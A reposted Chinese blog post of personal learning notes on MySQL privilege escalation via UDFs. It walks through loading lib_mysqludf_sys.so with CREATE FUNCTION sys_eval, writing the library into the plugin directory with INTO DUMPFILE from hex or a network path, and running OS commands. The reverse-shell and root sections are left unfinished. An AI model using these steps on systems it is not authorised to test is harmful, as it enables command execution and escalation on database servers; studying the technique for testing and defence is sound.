MySQL提权 通过UDF

UDF是什么

参考:https://www.cnblogs.com/litlife/p/9030673.html

UDF = ‘user defined function’,即用户自定义函数。 通过添加新函数,对MySQL的功能进行扩充,就类似使用本地函数如abs() 或 concat() 一样。

UDF在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为 .dll.so;

命令执行

参考:https://blog.csdn.net/x728999452/article/details/52413974
参考:https://blog.csdn.net/jssg_tzw/article/details/73235232
参考:https://www.cnblogs.com/xishaonian/p/6016486.html
参考:https://www.cnblogs.com/yunsicai/p/4080864.html

我跟着步骤执行失败了,调试了很久,暂时先放弃了。记录一下失败的过程,后期解决。
1.信息收集
show variables like '%version_%';

MySQL提权 通过UDF

show variables like "%plugin%";

MySQL提权 通过UDF

select @@version;

MySQL提权 通过UDF

2.将mysql里面自带的lib_mysqludf_sys.so拷贝到MySQL服务器的./plugin路径

MySQL提权 通过UDF

因为没有对 /usr/lib/mysql的读写权限,这里暂时找到别的方法绕过,现在手动上传,体验一下UDF而已。

这里也需要注意:利用UDF,有个前提条件就是对 /usr/lib/mysql要有读写权限。

MySQL提权 通过UDF

MySQL提权 通过UDF

3.执行命令

create function sys_eval returns string soname 'lib_mysqludf_sys.so';

报错:

sql> create function sys_eval returns string soname 'lib_mysqludf_sys.so'
[2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
[2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)

在尝试别的命令看看:

参考
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

我先执行一个
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';

报错:

[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
sql> CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'
[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)

很难过,没有执行成功。心有不甘的吃饭去了。

后面想应该还是自己步骤不对,就找了一份正确的步骤,看看别人是怎么操作,通过和别人的对比,知道是我的.so有问题。(mysql里面的.so 应该是加密过了,导致不起作用)

https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
在这里重新下载了新的.so ,并放到 ./plugin路径下之后。

执行命令:

create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';

select sys_eval('pwd');

MySQL提权 通过UDF

执行成功 !激动。

后续总结一下上传问题:
如果你有对改路径读写权限,有几种方式写入:

  • 直接写二进制文本(或者加密后的文本)
  • 通过网络路径写入 load_file(///192.168.0.1/udf.so)

文本写入 Example:

select "7f45 4c46 0201 0100 0000 0000 0000 0000
0300 3e00 0100 0000 d00c 0000 0000 0000
太长了,省略N行...

0000 0000 0000 0000 0100 0000 0000 0000
0000 0000 0000 0000 " into dumpfile '/usr/local/mysql/lib/plugin/udf_test.so';

MySQL提权 通过UDF

MySQL提权 通过UDF
写入成功。

远程写入

select "///10.0.27.35/learnphp/udf/lib_mysqludf_sys_64.so" into dumpfile '/usr/local/mysql/lib/plugin/udf_test1.so';

MySQL提权 通过UDF

MySQL提权 通过UDF

反弹Shell

to-do.

提权

获得管理员权限

to-do.

文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。

Original: https://www.cnblogs.com/mysticbinary/p/14403031.html
Author: Mysticbinary
Title: MySQL提权 通过UDF

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578349/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 字符编码笔记:ASCII,Unicode 和 UTF-8

    转载自:阮一峰 链接:http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html 今天中午,我突然想搞清…

    Linux 2023年6月7日
    0112
  • shell命令重置版整理(经典推荐)

    文件 ls -rtl       &…

    Linux 2023年5月28日
    0119
  • hexo 升级5.4.0出现错误解决方法-hexo-theme-butterfly

    本篇文章已同步个人博客,可移步食用。hexo 升级 5.4.0 出现错误解决方法 -hexo-theme-butterfly 周末升级了下 hexo 到新版本,发现升级后,构建时出…

    Linux 2023年6月7日
    0128
  • 闭包、装饰器

    闭包: 闭包的演变过程: 闭包的概念: “闭包”的本质就是函数的嵌套定义,即在函数内部再定义函数 “闭包”有两种不同的方式,第一种是…

    Linux 2023年6月8日
    098
  • [20210930]bbed读取数据块7 fffext.sh.txt

    [20210930]bbed读取数据块7 fffext.sh.txt –//一般bash shell脚本很少考虑执行效率,仅仅考虑利用它快速解决工作中遇到的问题. &#…

    Linux 2023年6月13日
    0114
  • CentOS 压缩解压

    打包:将多个文件合成一个总的文件,这个总的文件通常称为 “归档”。 压缩:将一个大文件通过某些压缩算法变成一个小文件。 1.1、tar 压缩格式: tar …

    Linux 2023年6月8日
    0113
  • 基于CentOS系统安装OceanBase数据库

    一、OceanBase介绍 OceanBase是由蚂蚁集团完全自主研发的金融级分布式关系数据库,始创于2010年。OceanBase具有数据强一致、高可用、高性能、在线扩展、高度兼…

    Linux 2023年5月27日
    0105
  • Redis相关监控命令

    1、查询Redis并发量,连续统计模式redis-cli –stat 2、redis最大连接数config get maxclients 3、redis当前连接数、阻塞…

    Linux 2023年5月28日
    0109
  • 多线程/哈希slot/集群

    io多线程 以前的redis是单线程模型,其实就是多路复用机制,知道多路复用的来一波6,我们在架构师课程中讲过,那么netty也有,看过老师相关课程的也应该知道。这里不多说了。 R…

    Linux 2023年5月28日
    0123
  • TELE poj1155 题解

    很明显,这道题是以1为根的树,存在最优子问题,因此考虑树形DP。 先看一下样例 常识:利润=收入-成本,也就是:叶节点点权-边权 那么更加明显用dp[i][j]来记录在以i为根节点…

    Linux 2023年6月6日
    0115
  • C++11

    1.新增不需要赋值即可初始化 //C++98 int a = 1; int* p1 = new int[3]; Date d1(2022, 9, 26); //C++11 Date…

    Linux 2023年6月13日
    0136
  • VMware 和 Linux 的安装

    常见的虚拟机软件有 VMware Workstation(简称 VMware)、VirtualBox、Microsoft Virtual PC 等,本文以 VMware 为例来讲解…

    Linux 2023年5月27日
    0107
  • 07-MyBatis中的动态标签

    MyBatis中的动态标签 1、if标签 if标签是为了判断传入的值是否符合某种条件,比如是否不为空 2、where标签 where标签可以用来做动态拼接查询条件,当和 if标签配…

    Linux 2023年6月7日
    0119
  • Linux系统中断处理框架(3)【转】

    //init/main.casmlinkage void __init start_kernel(void){…… trap_init(); //空函数…… ear…

    Linux 2023年6月8日
    0126
  • Kubernetes&Docker集群部署

    集群环境搭建 搭建kubernetes的集群环境 环境规划 集群类型 kubernetes集群大体上分为两类: 一主多从和 多主多从。 一主多从:一台Master节点和多台Node…

    Linux 2023年6月13日
    0108
  • Redis无法向磁盘写入RBD数据

    由于客户为了安全规范,规定Redis不能再root权限下运行,所以要进行降权切成普通用户等操作,刚刚做完切权操作。客户监控发出来项目服务的报错邮件,经过查看发现是Redis问题. …

    Linux 2023年6月8日
    0130
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球